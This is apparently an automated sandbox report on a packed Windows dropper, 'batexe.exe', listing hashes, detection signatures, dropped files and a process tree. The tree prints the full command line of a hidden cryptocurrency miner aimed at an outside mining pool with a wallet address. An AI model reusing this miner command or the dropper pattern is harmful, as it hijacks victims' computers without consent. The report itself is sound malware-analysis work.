73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 10:25

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3172	b2e.exe
928	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
928	cpuminer-sse2.exe
928	cpuminer-sse2.exe
928	cpuminer-sse2.exe
928	cpuminer-sse2.exe
928	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4628-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 3172	4628	batexe.exe	76
PID 4628 wrote to memory of 3172	4628	batexe.exe	76
PID 4628 wrote to memory of 3172	4628	batexe.exe	76
PID 3172 wrote to memory of 3520	3172	b2e.exe	77
PID 3172 wrote to memory of 3520	3172	b2e.exe	77
PID 3172 wrote to memory of 3520	3172	b2e.exe	77
PID 3520 wrote to memory of 928	3520	cmd.exe	80
PID 3520 wrote to memory of 928	3520	cmd.exe	80

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3172
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A568.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\b2e.exe

Filesize
10.9MB

MD5
ac3a9a4685d161b272440b0f08b2dc69

SHA1
74971bf8e20bc4165e0362ab85efa624a900f26a

SHA256
e3bb6966464dfa5a795d7377c4d0a5de8b21615e1f71f7627ccd37c7db7abb8b

SHA512
a66cc69285393992cce82eb92c2fa7850f33408a7e9cbba21785d875d3eabda6059139a6f9095de9ae96e348c196c793106b9a0e1eeccfa41e65ab5a23da85b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\b2e.exe

Filesize
9.0MB

MD5
b4b19cb639b6d67fbfc07c52c6346fde

SHA1
20f6302f57a579d48ef7cb7a452fb314e5dac03c

SHA256
0b58357ad712c7f79812b5b439d9c4200fe4c143aa9b91df2b3b3d2dbfa7aaca

SHA512
49de30bf60d99076874da8713eaec914b6607ad0cbc4e51af400af98ac9901f3cfade6aa2ded0f41eb5a2014c29580c0b47e155e7c9774db62687583d73dba00

Download Submit
C:\Users\Admin\AppData\Local\Temp\A568.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.8MB

MD5
a0214142b9ef16e897f6ea261140f8c7

SHA1
dd1de16235382d1964ff9e9cf593142972fbe6f4

SHA256
c8f8645cc62a038b43a4dc830a58c21b2e3f93299bec6b4375d5e4347ac53b09

SHA512
7abe24eda49f7193bfea93ebbc30d11a52e9143d07df88f610951c63108a7f9741ef4c717caf32e323d6415d79ac369a58e8b04677207bde50de7f9d6cab4319

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.4MB

MD5
074374152bf6cd09aab283f886f8df82

SHA1
53892104e994f69633eb1f46b62ed63945268db3

SHA256
a7e2d0166af165699fdab4dbe9ca63fc98eb9efeda2f597341120cee9a9fcfa4

SHA512
1a07de63cf0b6903ce74c6f404c9d9c30b70c590c506fc6ec4c5b325fac5465efced09715cfd902fdc4b504c17125bdd447e17c552b2596fbb0931c09702220e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.7MB

MD5
9bbc7ead3b7bcf80d58014669268aa0b

SHA1
88b2f0b6c7fd3409347c68373a8e8e5123bcebf4

SHA256
6e729001d74bbe5449a92be0568cbd4f08b8b50749f705309140c587b957c06a

SHA512
a38b4c95c7c714cde3ab8b4243ea975792012b3aab7fab1dfc7f574bde72f71c1c5a517562b4edf53dae539150abd2bf7d7d7e3fba8bcb8c83d3929c5ed801c0

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/928-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/928-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/928-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-43-0x0000000051EF0000-0x0000000051F88000-memory.dmp

Filesize
608KB

Download
memory/928-44-0x00000000010D0000-0x0000000002985000-memory.dmp

Filesize
24.7MB

Download
memory/928-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/928-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3172-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3172-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4628-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download